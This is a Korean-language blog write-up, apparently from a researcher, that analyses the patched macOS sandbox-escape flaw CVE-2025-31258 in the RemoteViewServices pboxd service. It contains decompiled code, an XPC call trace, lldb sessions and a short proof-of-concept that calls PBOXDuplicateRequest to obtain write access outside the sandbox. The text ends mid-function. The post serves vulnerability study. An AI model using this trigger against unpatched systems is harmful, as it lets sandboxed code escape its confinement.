콘텐츠로 건너뛰기

[1day] CVE-2025-31258: RemoteViewServices: 샌드박스 외의 제한적 파일 쓰기 취약점

http://support.apple.com/ko-kr/122716

해당 취약점은 macOS Sequoia 15.5에서 패치되었으며, 샌드박스를 탈출할 수 있는 취약점이다.

RemoteViewServices 서비스에서 취약점이 발생한다.

Diffing / Analysis

취약한 macOS 15.4.1 버전과 패치된 15.5 대상으로 디핑을 진행하였다.

취약점이 발견된 바이너리는 다음과 같다.

  • /System/Library/PrivateFrameworks/RemoteViewServices.framework/XPCServices/com.apple.security.pboxd.xpc/Contents/MacOS/com.apple.security.pboxd

바이너리를 추출해서 Bindiff를 통해 비교해봤을 때, 함수 1개에서 차이점이 존재하였다.

  • -[PBOXRelatedItemSession _handleDuplicateRequest:withReply:]

해당 메소드를 살펴보면 다음과 같다.

  • macOS 15.4.1 취약한 버전
id __cdecl -[PBOXRelatedItemSession _requestDuplicateDocument:withDuplicateName:error:](
        PBOXRelatedItemSession *self,
        SEL a2,
        id a3,
        id a4,
        id *a5)
{
  NSError *v5; // x0
  NSError *v6; // x0
  NSError *v7; // x0
  id v8; // x0
  id v9; // x0
  NSError *v10; // x0
  NSError *v11; // x0
  id v12; // x0
  void *v13; // x0
  NSError *v14; // x0
  NSString *v15; // x8
  id v16; // x0
  void *v17; // x0
  NSError *v19; // [xsp+38h] [xbp-1E8h]
  id v20; // [xsp+40h] [xbp-1E0h]
  __int64 v21; // [xsp+48h] [xbp-1D8h]
  NSError *v22; // [xsp+50h] [xbp-1D0h]
  NSFileManager *v23; // [xsp+58h] [xbp-1C8h]
  unsigned __int8 v24; // [xsp+64h] [xbp-1BCh]
  NSError *v25; // [xsp+68h] [xbp-1B8h]
  id v26; // [xsp+70h] [xbp-1B0h]
  int *v27; // [xsp+78h] [xbp-1A8h]
  unsigned int v28; // [xsp+84h] [xbp-19Ch]
  int *p_pid; // [xsp+90h] [xbp-190h]
  unsigned int v30; // [xsp+9Ch] [xbp-184h]
  NSError *v31; // [xsp+A0h] [xbp-180h]
  id v32; // [xsp+B0h] [xbp-170h]
  id v33; // [xsp+B8h] [xbp-168h]
  unsigned __int8 v34; // [xsp+C4h] [xbp-15Ch]
  NSError *v35; // [xsp+C8h] [xbp-158h]
  id v36; // [xsp+D8h] [xbp-148h]
  id v37; // [xsp+E0h] [xbp-140h]
  int v38; // [xsp+ECh] [xbp-134h]
  NSError *v39; // [xsp+F0h] [xbp-130h]
  id v40; // [xsp+F8h] [xbp-128h]
  id v41; // [xsp+100h] [xbp-120h]
  NSArray *v42; // [xsp+108h] [xbp-118h]
  void *v45; // [xsp+120h] [xbp-100h]
  void *v46; // [xsp+128h] [xbp-F8h]
  void *v47; // [xsp+138h] [xbp-E8h]
  _OWORD v48[2]; // [xsp+140h] [xbp-E0h] BYREF
  _OWORD v49[2]; // [xsp+160h] [xbp-C0h] BYREF
  id v50; // [xsp+188h] [xbp-98h] BYREF
  id v51; // [xsp+190h] [xbp-90h] BYREF
  char v52; // [xsp+19Fh] [xbp-81h]
  id v53; // [xsp+1A0h] [xbp-80h]
  id v54; // [xsp+1A8h] [xbp-78h] BYREF
  id v55; // [xsp+1B0h] [xbp-70h] BYREF
  int v56; // [xsp+1BCh] [xbp-64h]
  id v57; // [xsp+1C0h] [xbp-60h] BYREF
  id v58; // [xsp+1C8h] [xbp-58h] BYREF
  id v59; // [xsp+1D0h] [xbp-50h] BYREF
  id v60; // [xsp+1D8h] [xbp-48h] BYREF
  id *v61; // [xsp+1E0h] [xbp-40h]
  id v62; // [xsp+1E8h] [xbp-38h] BYREF
  id location[2]; // [xsp+1F0h] [xbp-30h] BYREF
  PBOXRelatedItemSession *v64; // [xsp+200h] [xbp-20h]
  id v65; // [xsp+208h] [xbp-18h]
  __int64 vars8; // [xsp+228h] [xbp+8h]

  v64 = self;
  location[1] = (id)a2;
  location[0] = 0;
  objc_storeStrong(location, a3);
  v62 = 0;
  objc_storeStrong(&v62, a4);
  v61 = a5;
  v60 = 0;
  v45 = objc_retainAutoreleasedReturnValue(objc_msgSend(location[0], "stringByDeletingLastPathComponent"));
  v59 = objc_retainAutoreleasedReturnValue(objc_msgSend(v45, "stringByPBOXRealPath"));
  objc_release(v45);
  v46 = objc_retainAutoreleasedReturnValue(objc_msgSend(v62, "stringByDeletingLastPathComponent"));
  v58 = objc_retainAutoreleasedReturnValue(objc_msgSend(v46, "stringByPBOXRealPath"));
  objc_release(v46);
  if ( ((unsigned int)objc_msgSend(v59, "isEqualToString:", v58) & 1) != 0 )
    goto LABEL_8;
  v42 = objc_retainAutoreleasedReturnValue(NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, 1u, 1));
  v41 = objc_retainAutoreleasedReturnValue(-[NSArray lastObject](v42, "lastObject"));
  v57 = objc_retainAutoreleasedReturnValue(objc_msgSend(v41, "stringByPBOXRealPath"));
  objc_release(v41);
  objc_release(v42);
  if ( v57 )
  {
    if ( ((unsigned int)objc_msgSend(v57, "isEqualToString:", v58) & 1) != 0 )
    {
      v56 = 0;
    }
    else
    {
      v39 = objc_retainAutoreleasedReturnValue(
              +[NSError errorWithDomain:code:userInfo:](
                &OBJC_CLASS___NSError,
                "errorWithDomain:code:userInfo:",
                NSPOSIXErrorDomain,
                1,
                0));
      v5 = objc_autorelease(v39);
      *v61 = v39;
      v65 = 0;
      v56 = 1;
    }
  }
  else
  {
    v40 = objc_retainAutoreleasedReturnValue(+[RVSLogger defaultLogger](&OBJC_CLASS___RVSLogger, "defaultLogger"));
    objc_msgSend(v40, "debug:", CFSTR("NSSearchPathForDirectoriesInDomains returns no Documents directory"));
    objc_release(v40);
    v65 = 0;
    v56 = 1;
  }
  objc_storeStrong(&v57, 0);
  if ( !v56 )                                  
  {
LABEL_8:
    v55 = objc_retainAutoreleasedReturnValue(objc_msgSend(location[0], "lastPathComponent"));
    v54 = objc_retainAutoreleasedReturnValue(objc_msgSend(v62, "lastPathComponent"));
    v36 = objc_retainAutoreleasedReturnValue(objc_msgSend(v55, "pathExtension"));
    v37 = objc_retainAutoreleasedReturnValue(objc_msgSend(v54, "pathExtension"));
    v52 = 0;
    LOBYTE(v38) = 0;
    if ( ((unsigned __int8)objc_msgSend(v36, "isEqualToString:") & 1) == 0 )
    {
      v53 = objc_retainAutoreleasedReturnValue(objc_msgSend(v54, "pathExtension"));
      v52 = 1;
      v38 = sub_10001332C(v53) ^ 1;
    }
    if ( (v52 & 1) != 0 )
      objc_release(v53);
    objc_release(v37);
    objc_release(v36);
    if ( (v38 & 1) != 0 )
    {
      v35 = objc_retainAutoreleasedReturnValue(
              +[NSError errorWithDomain:code:userInfo:](
                &OBJC_CLASS___NSError,
                "errorWithDomain:code:userInfo:",
                NSPOSIXErrorDomain,
                1,
                0));
      v6 = objc_autorelease(v35);
      *v61 = v35;
      v65 = 0;
      v56 = 1;
    }
    else
    {
      v33 = objc_retainAutoreleasedReturnValue(objc_msgSend(v54, "stringByDeletingPathExtension"));
      v32 = objc_retainAutoreleasedReturnValue(objc_msgSend(v55, "stringByDeletingPathExtension"));
      v34 = (unsigned __int8)+[NSDocument _validateDuplicateDocumentName:withOriginalName:](
                               &OBJC_CLASS___NSDocument,
                               "_validateDuplicateDocumentName:withOriginalName:",
                               v33);
      objc_release(v32);
      objc_release(v33);
      if ( (v34 & 1) != 0 )
      {
        v51 = objc_retainAutoreleasedReturnValue(objc_msgSend(v59, "stringByAppendingPathComponent:", v55));
        v50 = objc_retainAutoreleasedReturnValue(objc_msgSend(v58, "stringByAppendingPathComponent:", v54));
        p_pid = &v64->_pid;
        v30 = SANDBOX_CHECK_NO_REPORT | 1 | SANDBOX_CHECK_CANONICAL;
        v8 = objc_retainAutorelease(v51);
        objc_msgSend(v51, "UTF8String");
        v49[0] = *(_OWORD *)p_pid;
        v49[1] = *((_OWORD *)p_pid + 1);
        if ( (unsigned int)sandbox_check_by_audit_token(v49, "file-write-data", v30)
          && (v27 = &v64->_pid,
              v28 = SANDBOX_CHECK_NO_REPORT | 1 | SANDBOX_CHECK_CANONICAL,
              v26 = v51,
              v9 = objc_retainAutorelease(v51),
              objc_msgSend(v26, "UTF8String"),
              v48[0] = *(_OWORD *)v27,
              v48[1] = *((_OWORD *)v27 + 1),
              (unsigned int)sandbox_check_by_audit_token(v48, "file-read-data", v28)) )
        {
          v25 = objc_retainAutoreleasedReturnValue(
                  +[NSError errorWithDomain:code:userInfo:](
                    &OBJC_CLASS___NSError,
                    "errorWithDomain:code:userInfo:",
                    NSPOSIXErrorDomain,
                    1,
                    0));
          v10 = objc_autorelease(v25);
          *v61 = v25;
          v65 = 0;
          v56 = 1;
        }
        else
        {
          v23 = objc_retainAutoreleasedReturnValue(+[NSFileManager defaultManager](&OBJC_CLASS___NSFileManager, "defaultManager"));
          v24 = -[NSFileManager fileExistsAtPath:](v23, "fileExistsAtPath:", v50);
          objc_release(v23);
          if ( (v24 & 1) != 0 )
          {
            v22 = objc_retainAutoreleasedReturnValue(
                    +[NSError errorWithDomain:code:userInfo:](
                      &OBJC_CLASS___NSError,
                      "errorWithDomain:code:userInfo:",
                      NSPOSIXErrorDomain,
                      17,
                      0));
            v11 = objc_autorelease(v22);
            *v61 = v22;
            v65 = 0;
            v56 = 1;
          }
          else
          {
            v21 = APP_SANDBOX_READ_WRITE;
            v20 = v50;
            v12 = objc_retainAutorelease(v50);
            v13 = objc_msgSend(v20, "UTF8String");
            v47 = (void *)sandbox_extension_issue_file(v21, v13, SANDBOX_EXTENSION_CANONICAL);
            if ( v47 )
            {
              v15 = objc_retainAutoreleasedReturnValue(+[NSString stringWithUTF8String:](&OBJC_CLASS___NSString, "stringWithUTF8String:", v47));
              v16 = v60;
              v60 = v15;
              objc_release(v16);
              free(v47);
              v65 = objc_retain(v60);
            }
            else
            {
              v19 = objc_retainAutoreleasedReturnValue(
                      +[NSError errorWithDomain:code:userInfo:](
                        &OBJC_CLASS___NSError,
                        "errorWithDomain:code:userInfo:",
                        NSPOSIXErrorDomain,
                        *__error(),
                        0));
              v14 = objc_autorelease(v19);
              *v61 = v19;
              v65 = 0;
            }
            v56 = 1;
          }
        }
        objc_storeStrong(&v50, 0);
        objc_storeStrong(&v51, 0);
      }
      else
      {
        v31 = objc_retainAutoreleasedReturnValue(
                +[NSError errorWithDomain:code:userInfo:](
                  &OBJC_CLASS___NSError,
                  "errorWithDomain:code:userInfo:",
                  NSPOSIXErrorDomain,
                  1,
                  0));
        v7 = objc_autorelease(v31);
        *v61 = v31;
        v65 = 0;
        v56 = 1;
      }
    }
    objc_storeStrong(&v54, 0);
    objc_storeStrong(&v55, 0);
  }
  objc_storeStrong(&v58, 0);
  objc_storeStrong(&v59, 0);
  objc_storeStrong(&v60, 0);
  objc_storeStrong(&v62, 0);
  objc_storeStrong(location, 0);
  v17 = v65;
  if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 )
    __break(0xC471u);
  return objc_autoreleaseReturnValue(v17);
}
  • macOS 15.5 패치한 버전
void __cdecl -[PBOXRelatedItemSession _handleDuplicateRequest:withReply:](
        PBOXRelatedItemSession *self,
        SEL a2,
        id a3,
        id a4)
{
  id v5; // [xsp+30h] [xbp-20h] BYREF
  id location[3]; // [xsp+38h] [xbp-18h] BYREF

  location[2] = self;
  location[1] = (id)a2;
  location[0] = 0;
  objc_storeStrong(location, a3);
  v5 = 0;
  objc_storeStrong(&v5, a4);
  objc_msgSend(v5, "setReturnCode:", 0);
  objc_storeStrong(&v5, 0);
  objc_storeStrong(location, 0);
}

위 함수를 보면, 패치된 버전에서는 리턴코드를 항상 0으로 세팅하고 코드가 엄청 짧지만 취약한 버전에서는 그렇지 않다.

취약한 메소드를 트리거하는 방법은 다음과 같다.

(도중에 분석하기 귀찮아서 … 으로 생략)

// RemoteViewServices
PBOXDuplicateRequest  
-> _sendServiceRequest
-> xpc_connection_send_message
...
// com.apple.security.pboxd
-> -[PBOXServer run]
-> sub_100001AEC
-> sub_100001B50
-> -[PBOXServer _dispatchRequestToNewSession:]
-> sub_100001E14 
xpc_dictionary_get_value(location[0], "PBOXSessionTypeKey"))
...
v8 = objc_alloc(&OBJC_CLASS___PBOXRelatedItemSession);
          v9 = -[PBOXRelatedItemSession initWithConnection:](v8, "initWithConnection:", v36);
...

-> -[PBOXRelatedItemSession initWithConnection:]
...
-> -[PBOXRelatedItemSession connection:didReceiveRequest:]
-> -[PBOXRelatedItemSession _handleDuplicateRequest:withReply:]
-> -[PBOXRelatedItemSession _requestDuplicateDocument:withDuplicateName:error:]

트리거하는 방법은 RemoteViewServices 라이브러리의 PBOXDuplicateRequest 함수를 사용하는 것이다.

저 함수를 보았을때 3개의 매개변수를 입력받는데, 각 타입을 추측하면 다음과 같다.

먼저 a1,a2 매개변수는 향후 isFileURL 인스턴스 메소드를 호출되기에 NSURL *타입이고, a3는 향후 “errorWithDomain:code:userInfo:” 메소드를 호출하는것으로 보아 NSError *타입이다.

따라서 NULL 또는 호출결과 에러정보를 알기 위해 NSError * 객체로 들어가면 될 것이고, a1, a2는 파일 경로를 넣어주면 될 것이다.

a1 → PBOXRelatedItemDuplicateRequestRequestOriginalItemKey a2 → PBOXRelatedItemDuplicateRequestRequestDuplicateItemKey

위와 같이 키 값으로 설정된다.

__int64 __fastcall PBOXDuplicateRequest(void *a1, void *a2, _QWORD *a3)
{
  id v5; // x19
  id v6; // x20
  NSRemoteServiceRequest *v7; // x22
  void *v8; // x23
  void *v9; // x23
  id v10; // x0
  id v11; // x23
  __int64 v12; // x21

  v5 = objc_retain(a1);
  v6 = objc_retain(a2);
  if ( (unsigned int)objc_msgSend(v5, "isFileURL") && ((unsigned int)objc_msgSend(v6, "isFileURL") & 1) != 0 )
  {
    v7 = -[NSRemoteServiceRequest initWithType:](objc_alloc(&OBJC_CLASS___NSRemoteServiceRequest), "initWithType:", 2);
    if ( v7 )
    {
      v8 = objc_retainAutoreleasedReturnValue(objc_msgSend(v5, "path"));
      -[NSRemoteServiceRequest setArgument:forKey:](
        v7,
        "setArgument:forKey:",
        v8,
        CFSTR("PBOXRelatedItemDuplicateRequestRequestOriginalItemKey"));
      objc_release(v8);
      v9 = objc_retainAutoreleasedReturnValue(objc_msgSend(v6, "path"));
      -[NSRemoteServiceRequest setArgument:forKey:](
        v7,
        "setArgument:forKey:",
        v9,
        CFSTR("PBOXRelatedItemDuplicateRequestRequestDuplicateItemKey"));
      objc_release(v9);
      v10 = objc_retainAutoreleasedReturnValue(_sendServiceRequest(v7));
      v11 = v10;
      if ( v10 )
      {
        v12 = handleReply(v10, a3);
LABEL_11:
        objc_release(v11);
        objc_release(v7);
        goto LABEL_12;
      }
    }
    else
    {
      v11 = objc_retainAutoreleasedReturnValue(+[RVSLogger defaultLogger](&OBJC_CLASS___RVSLogger, "defaultLogger"));
      objc_msgSend(v11, "debug:", CFSTR("PBOXDuplicateRequest: Could not create request object"));
    }
    v12 = -1;
    goto LABEL_11;
  }
  if ( a3 )
    *a3 = objc_autorelease(objc_retainAutoreleasedReturnValue(objc_msgSend(MEMORY[0x1E8B56758], "errorWithDomain:code:userInfo:", *MEMORY[0x1E8B560F8], 22, 0)));
  v12 = -1;
LABEL_12:
  objc_release(v6);
  objc_release(v5);
  return v12;
}

_sendServiceRequest 메소드 호출로 이어지는데,

PBOXSessionTypeKey 키값을 3으로 세팅하고 보낼 메시지와 함께 com.apple.security.pboxd XPC 서비스와의 연결을 준비한고 보낸다.

id __fastcall _sendServiceRequest(void *a1)
{
  id v1; // x19
  dispatch_queue_global_s *v2; // x21
  _xpc_connection_s *v3; // x20
  xpc_object_t v4; // x0
  void *v5; // x21
  NSRemoteServiceConnection *v6; // x23
  id v7; // x22
  id v8; // x0
  __CFString *v9; // x2
  __int64 vars8; // [xsp+38h] [xbp+8h]

  v1 = objc_retain(a1);
  v2 = objc_retainAutoreleasedReturnValue(dispatch_get_global_queue(0, 0));
  v3 = xpc_connection_create("com.apple.security.pboxd", v2);
  objc_release(v2);
  if ( v3 )
  {
    v4 = xpc_dictionary_create(0, 0, 0);
    if ( v4 )
    {
      v5 = v4;
      xpc_dictionary_set_uint64(v4, "PBOXSessionTypeKey", 3u);
      xpc_connection_set_event_handler(v3, &__block_literal_global_2);
      xpc_connection_resume(v3);
      xpc_connection_send_message(v3, v5);
      xpc_connection_suspend(v3);
      v6 = -[NSRemoteServiceConnection initWithServiceConnection:](
             objc_alloc(&OBJC_CLASS___NSRemoteServiceConnection),
             "initWithServiceConnection:",
             v3);
      -[NSRemoteServiceConnection resume](v6, "resume");
      v7 = objc_retainAutoreleasedReturnValue(-[NSRemoteServiceConnection sendSynchronousRequest:](v6, "sendSynchronousRequest:", v1));
      objc_release(v6);
      goto LABEL_7;
    }
    v8 = objc_retainAutoreleasedReturnValue(+[RVSLogger defaultLogger](&OBJC_CLASS___RVSLogger, "defaultLogger"));
    v5 = v8;
    v9 = CFSTR("_sendServiceRequest: Could not create session creation message");
  }
  else
  {
    v8 = objc_retainAutoreleasedReturnValue(+[RVSLogger defaultLogger](&OBJC_CLASS___RVSLogger, "defaultLogger"));
    v5 = v8;
    v9 = CFSTR("_sendServiceRequest: Could not create connection to service");
  }
  objc_msgSend(v8, "debug:", v9);
  v7 = 0;
LABEL_7:
  objc_release(v5);
  objc_release(v3);
  objc_release(v1);
  if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 )
    __break(0xC471u);
  return objc_autoreleaseReturnValue(v7);
}

여기까지가 RemoteViewServices 라이브러리의 분석 내용이었다. com.apple.security.pboxd XPC 프로세스에서 PBOXSessionTypeKey 키 값을 비교하는데, 해당 함수는 sub_100001E14이다.

추적해서 최종 취약점이 있는 메소드인 -[PBOXRelatedItemSession _requestDuplicateDocument:withDuplicateName:error:] 메소드에 브레이크포인트를 걸고,

poc 코드에 나와있듯 매개변수에는 각각 “/Users/[사용자명]/Documents”, “/Users/[사용자명]/Documents copy 1337”을 넣어서 PBOXDuplicateRequest 함수를 호출해본다.

NSString *documentsPath = [NSString stringWithFormat:@"/Users/%@/Documents", NSUserName()];
    //_validateDuplicateDocumentName:withOriginalName: arg2
    NSURL *documentsURL = [NSURL fileURLWithPath:documentsPath];

    NSString *copiedPath =
    [NSString stringWithFormat:@"/Users/%@/Documents copy 1337", NSUserName()]; //_validateDuplicateDocumentName:withOriginalName: arg1
    NSURL *copiedURL = [NSURL fileURLWithPath:copiedPath];
    
    NSError *_error = nil;

    int64_t result = PBOXDuplicateRequest(documentsURL, copiedURL, _error);

그러면 해당 취약점이 있는 메소드에서 실행이 중단된다.

(lldb) c
Process 958 resuming
Process 958 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 2.1
    frame #0: 0x000000010074373c com.apple.security.pboxd`___lldb_unnamed_symbol509
com.apple.security.pboxd`___lldb_unnamed_symbol509:
->  0x10074373c <+0>:  pacibsp 
    0x100743740 <+4>:  stp    x28, x27, [sp, #-0x20]!
    0x100743744 <+8>:  stp    x29, x30, [sp, #0x10]
    0x100743748 <+12>: add    x29, sp, #0x10
    

(lldb) po $x0
<PBOXRelatedItemSession: 0xb101a90e0>

(lldb) reg read x1
      x1 = 0x0000000100750fab  "_requestDuplicateDocument:withDuplicateName:error:"
(lldb) po $x2
/Users/seo/Documents

(lldb) po $x3
/Users/seo/Documents copy 1337

PBOXDuplicateRequest 함수에 넘긴 매개변수가 그대로 넘어가

a3 = “/Users/seo/Documents”

a4 = “/Users/seo/Documents copy 1337”가 들어간다.

id __cdecl -[PBOXRelatedItemSession _requestDuplicateDocument:withDuplicateName:error:](
        PBOXRelatedItemSession *self,
        SEL a2,
        id a3,
        id a4,
        id *a5)

먼저 a3, a4에 들어간 경로에서 각각 마지막 경로 컴프넌트를 제거하여 v60, v59 변수에 저장한다. stringByPBOXRealPath 메소드는 내부적으로 realpath_DARWIN_EXTSN 함수를 호출하여 실제 절대 경로를 구해준다.

  v65 = self;
  location[1] = (id)a2;
  location[0] = 0;
  objc_storeStrong(location, a3);
  v63 = 0;
  objc_storeStrong(&v63, a4);
  v62 = a5;
  v61 = 0;
  v46 = objc_retainAutoreleasedReturnValue(objc_msgSend(location[0], "stringByDeletingLastPathComponent"));// /Users/seo/Documents -> /Users/seo, a3에 들어간 경로에서 마지막 경로 컴포넌트를 제거함
  v60 = objc_retainAutoreleasedReturnValue(objc_msgSend(v46, "stringByPBOXRealPath"));
  objc_release(v46);
  v47 = objc_retainAutoreleasedReturnValue(objc_msgSend(v63, "stringByDeletingLastPathComponent"));// /Users/seo/Documents copy 1337 -> /Users/seo, a4에 들어간 경로에서 마지막 경로 컴퍼넌트를 제거함
  v59 = objc_retainAutoreleasedReturnValue(objc_msgSend(v47, "stringByPBOXRealPath"));
  objc_release(v47);
id __cdecl -[NSString stringByPBOXRealPath](NSString *self, SEL a2)
{
  NSString *v2; // x0
  void *v3; // x0
  id v6; // [xsp+18h] [xbp-28h] BYREF
  void *v7; // [xsp+20h] [xbp-20h]
  SEL v8; // [xsp+28h] [xbp-18h]
  NSString *v9; // [xsp+30h] [xbp-10h]
  id v10; // [xsp+38h] [xbp-8h]
  __int64 vars8; // [xsp+48h] [xbp+8h]

  v9 = self;
  v8 = a2;
  v2 = objc_retainAutorelease(self);
  v7 = realpath_DARWIN_EXTSN(-[NSString fileSystemRepresentation](self, "fileSystemRepresentation"), 0);
  if ( v7 )
  {
    v6 = objc_retainAutoreleasedReturnValue(+[NSString stringWithUTF8String:](&OBJC_CLASS___NSString, "stringWithUTF8String:", v7));
    free(v7);
    v10 = objc_retain(v6);
    objc_storeStrong(&v6, 0);
  }
  else
  {
    v10 = 0;
  }
  v3 = v10;
  if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 )
    __break(0xC471u);
  return objc_autoreleaseReturnValue(v3);
}

이후에는 v60, v59 변수에 들어간 문자열이 서로 같기 떄문에 LABEL_8으로 이동한다.

  if ( ((unsigned int)objc_msgSend(v60, "isEqualToString:", v59) & 1) != 0 )
    goto LABEL_8;
  v43 = objc_retainAutoreleasedReturnValue(NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, 1u, 1));
  v42 = objc_retainAutoreleasedReturnValue(-[NSArray lastObject](v43, "lastObject"));
  v58 = objc_retainAutoreleasedReturnValue(objc_msgSend(v42, "stringByPBOXRealPath"));
  objc_release(v42);
  objc_release(v43);
  if ( v58 )                                 
  {
    if ( ((unsigned int)objc_msgSend(v58, "isEqualToString:", v59) & 1) != 0 ) 
    {
      v57 = 0;
    }
    else
    {
      v40 = objc_retainAutoreleasedReturnValue(
              +[NSError errorWithDomain:code:userInfo:](
                &OBJC_CLASS___NSError,
                "errorWithDomain:code:userInfo:",
                NSPOSIXErrorDomain,
                1,
                0));
      v5 = objc_autorelease(v40);
      *v62 = v40;
      v66 = 0;
      v57 = 1;
    }
  }
  else
  {
    v41 = objc_retainAutoreleasedReturnValue(+[RVSLogger defaultLogger](&OBJC_CLASS___RVSLogger, "defaultLogger"));
    objc_msgSend(v41, "debug:", CFSTR("NSSearchPathForDirectoriesInDomains returns no Documents directory"));
    objc_release(v41);
    v66 = 0;
    v57 = 1;
  }
  objc_storeStrong(&v58, 0);
  if ( !v57 )
  {
LABEL_8:
...
  }
  objc_storeStrong(&v59, 0);
  objc_storeStrong(&v60, 0);
  objc_storeStrong(&v61, 0);
  objc_storeStrong(&v63, 0);
  objc_storeStrong(location, 0);
  v18 = v66;
  if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 )
    __break(0xC471u);
  return objc_autoreleaseReturnValue(v18);
}

각 마지막 컴포너트 파일 이름에서 확장자가 있는지 파싱하고,

  if ( !v57 )                                   // v56 should be 0, to enter if statement
  {
LABEL_8:
    v56 = objc_retainAutoreleasedReturnValue(objc_msgSend(location[0], "lastPathComponent"));// /Users/seo/Documents -> Documents
    v55 = objc_retainAutoreleasedReturnValue(objc_msgSend(v63, "lastPathComponent"));// /Users/seo/Documents copy 1337 -> Documents copy 1337
    v37 = objc_retainAutoreleasedReturnValue(objc_msgSend(v56, "pathExtension"));// Documents -> nil
    v38 = objc_retainAutoreleasedReturnValue(objc_msgSend(v55, "pathExtension"));// Documents copy 1337 -> nil

확장자가 둘다 nil이기에 참이 된다.

따라서 if 문안에 있는 코드가 진입하지 않는다.

if ( ((unsigned __int8)objc_msgSend(v37, "isEqualToString:") & 1) == 0 )// nil == nil
    {
      v54 = objc_retainAutoreleasedReturnValue(objc_msgSend(v55, "pathExtension"));
      v53 = 1;
      v39 = sub_10001332C(v54) ^ 1;
    }

그리고 v53은 초기 선언에서 0을 지정했기에 else 문으로 진입하게 된다..

if ( (v53 & 1) != 0 )
      objc_release(v54);
    objc_release(v38);
    objc_release(v37);
    if ( (v39 & 1) != 0 )
    {
      v36 = objc_retainAutoreleasedReturnValue(
              +[NSError errorWithDomain:code:userInfo:](
                &OBJC_CLASS___NSError,
                "errorWithDomain:code:userInfo:",
                NSPOSIXErrorDomain,
                1,
                0));
      v6 = objc_autorelease(v36);
      *v62 = v36;
      v66 = 0;
      v57 = 1;
    }
    else //else 문 진입!!!!
    {
    ...

else 문 뒤에는 +[NSDocument _validateDuplicateDocumentName:withOriginalName:] 메소드를 통해 어떠한 검증을 하고 있는데, 우선 검증하는 메소드의 각각 매개변수에는 확장자를 제거한 파일 이름이 들어간다.

else
    {
      v34 = objc_retainAutoreleasedReturnValue(objc_msgSend(v55, "stringByDeletingPathExtension"));
      v33 = objc_retainAutoreleasedReturnValue(objc_msgSend(v56, "stringByDeletingPathExtension"));
      v35 = (unsigned __int8)+[NSDocument _validateDuplicateDocumentName:withOriginalName:](
                               &OBJC_CLASS___NSDocument,
                               "_validateDuplicateDocumentName:withOriginalName:",
                               v34); 
      objc_release(v33);
      objc_release(v34);
(lldb) c
Process 958 resuming
Process 958 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 17.1
    frame #0: 0x0000000100743b3c com.apple.security.pboxd`___lldb_unnamed_symbol509 + 1024
com.apple.security.pboxd`___lldb_unnamed_symbol509:
->  0x100743b3c <+1024>: bl     0x10074d0c0
    0x100743b40 <+1028>: mov    x8, x0
    0x100743b44 <+1032>: ldr    x0, [sp, #0xb0]
    0x100743b48 <+1036>: str    w8, [sp, #0xc4]
Target 0: (com.apple.security.pboxd) stopped.
(lldb) po $x0
NSDocument

(lldb) po $x1
<nil>

(lldb) po $x2
Documents copy 1337

(lldb) po $x3
Documents

+[NSDocument _validateDuplicateDocumentName:withOriginalName:] 해당 메소드는 AppKit 라이브러리에 들어가있다.

메소드 반환이 참이 될려면 조건은 다음과 같다.

  1. “복제명(첫 번째 인자)”의 숫자 부분“원본명(두 번째 인자)”의 숫자 부분보다 커야 한다.
  2. 두 이름의 “기본 이름(base name)”(숫자 접미사를 제외한 앞부분)이 서로 동일해야 한다.

따라서 두번째 매개변수에 Documents copy 1337 들어간 이유 중 하나이다.

bool __cdecl +[NSDocument _validateDuplicateDocumentName:withOriginalName:](id a1, SEL a2, id a3, id a4)
{
  id v6; // x19
  id v7; // x20
  id v8; // x21
  id v9; // x22
  unsigned __int8 v10; // w23
  id v12; // [xsp+0h] [xbp-50h] BYREF
  id v13; // [xsp+8h] [xbp-48h] BYREF
  __int64 v14; // [xsp+10h] [xbp-40h] BYREF
  __int64 v15; // [xsp+18h] [xbp-38h] BYREF

  v6 = objc_retain(a3);
  v7 = objc_retain(a4);
  v14 = 0;
  v15 = 0;
  v13 = 0;
  objc_msgSend(a1, "_parseBaseName:number:fromDisplayName:", &v13, &v15, v6);
  v8 = objc_retain(v13);
  v12 = 0;
  objc_msgSend(a1, "_parseBaseName:number:fromDisplayName:", &v12, &v14, v7);
  v9 = objc_retain(v12);
  if ( v15 <= v14 )
    v10 = 0;
  else
    v10 = (unsigned __int8)objc_msgSend(v8, "isEqualToString:", v9);
  objc_release(v9);
  objc_release(v8);
  objc_release(v7);
  objc_release(v6);
  return v10;
}
void __cdecl +[NSDocument _parseBaseName:number:fromDisplayName:](id a1, SEL a2, id *a3, signed __int64 *a4, id a5)
{
  id v8; // x19
  id v9; // x24
  id v10; // x25
  void *v11; // x23
  void *v12; // x24
  __int64 v13; // x25
  void *v14; // x26
  id v15; // x0
  __int128 v16; // [xsp+0h] [xbp-130h] BYREF
  __int128 v17; // [xsp+10h] [xbp-120h]
  __int128 v18; // [xsp+20h] [xbp-110h]
  __int128 v19; // [xsp+30h] [xbp-100h]
  _QWORD v20[2]; // [xsp+48h] [xbp-E8h] BYREF
  _BYTE v21[128]; // [xsp+58h] [xbp-D8h] BYREF
  __int64 v22; // [xsp+D8h] [xbp-58h]

  v22 = *MEMORY[0x1E8BC4698];
  v8 = objc_retain(a5);
  v16 = 0u;
  v17 = 0u;
  v18 = 0u;
  v19 = 0u;
  v9 = objc_retainAutoreleasedReturnValue((id)_NXKitString(CFSTR("Document"), CFSTR("%@ copy")));
  v20[0] = v9;
  v10 = objc_retainAutoreleasedReturnValue((id)_NXKitString(CFSTR("Document"), CFSTR("%@ copy %@")));
  v20[1] = v10;
  v11 = objc_retainAutoreleasedReturnValue(objc_msgSend(MEMORY[0x1E8B488C8], "arrayWithObjects:count:", v20, 2));
  objc_release(v10);
  objc_release(v9);
  v12 = objc_msgSend(v11, "countByEnumeratingWithState:objects:count:", &v16, v21, 16);
  if ( v12 )
  {
    v13 = *(_QWORD *)v17;
    while ( 2 )
    {
      v14 = 0;
      do
      {
        if ( *(_QWORD *)v17 != v13 )
          objc_enumerationMutation(v11);
        if ( ((unsigned int)objc_msgSend(
                              a1,
                              "_parseName:number:fromDisplayName:withTemplate:",
                              a3,
                              a4,
                              v8,
                              *(_QWORD *)(*((_QWORD *)&v16 + 1) + 8LL * (_QWORD)v14))
            & 1) != 0 )
